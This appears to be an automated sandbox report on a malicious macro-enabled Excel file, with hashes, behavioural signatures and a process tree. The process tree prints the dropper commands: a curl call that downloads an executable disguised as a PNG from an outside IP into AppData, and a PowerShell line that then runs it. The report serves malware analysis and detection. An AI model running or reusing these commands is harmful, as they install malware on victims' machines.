Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-02-2024 16:32

General

  • Target

    a9a0fed71fb7d2c87d0573c2ef58a965.xlsm

  • Size

    140KB

  • MD5

    a9a0fed71fb7d2c87d0573c2ef58a965

  • SHA1

    c4f1ec24d582759c4429df2a4a8c161f0370ac2f

  • SHA256

    576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83

  • SHA512

    5618fcce1bb08e1f154e51dfe1cf4d9a1866bdbbf085703ec5d578132f2194bbc96ad76237c439cc970d9207f48568ac9a1af63cf3e163c941d51cd4f4ee4205

  • SSDEEP

    1536:wJxSwIXUJksB977w3mv8fdwLmG9s80okHwjzjoki9cIyhGfaZWDCltHP:oUdkCS7k3XOmT/QzXIWGfaZW+l1

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a9a0fed71fb7d2c87d0573c2ef58a965.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3372
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\curl.exe
        curl http://151.236.30.123/images/suntogether.png -o C:\Users\Admin\AppData\Roaming\QyZcY.exe
        3⤵
          PID:1420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3140

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4gbuqm3m.5gm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3140-32-0x000002172CAF0000-0x000002172CB12000-memory.dmp

      Filesize

      136KB

    • memory/3140-50-0x00007FF876E30000-0x00007FF8778F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3140-43-0x000002172CA60000-0x000002172CA70000-memory.dmp

      Filesize

      64KB

    • memory/3140-44-0x000002172CA60000-0x000002172CA70000-memory.dmp

      Filesize

      64KB

    • memory/3140-42-0x00007FF876E30000-0x00007FF8778F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3372-8-0x00007FF85ED10000-0x00007FF85ED20000-memory.dmp

      Filesize

      64KB

    • memory/3372-16-0x00007FF85C6A0000-0x00007FF85C6B0000-memory.dmp

      Filesize

      64KB

    • memory/3372-5-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-9-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-10-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-11-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-12-0x00007FF85C6A0000-0x00007FF85C6B0000-memory.dmp

      Filesize

      64KB

    • memory/3372-13-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-14-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-15-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-17-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-0-0x00007FF85ED10000-0x00007FF85ED20000-memory.dmp

      Filesize

      64KB

    • memory/3372-18-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-19-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-20-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-7-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-6-0x00007FF85ED10000-0x00007FF85ED20000-memory.dmp

      Filesize

      64KB

    • memory/3372-3-0x00007FF85ED10000-0x00007FF85ED20000-memory.dmp

      Filesize

      64KB

    • memory/3372-4-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-2-0x00007FF85ED10000-0x00007FF85ED20000-memory.dmp

      Filesize

      64KB

    • memory/3372-47-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-1-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-51-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB

    • memory/3372-52-0x00007FF89EC90000-0x00007FF89EE85000-memory.dmp

      Filesize

      2.0MB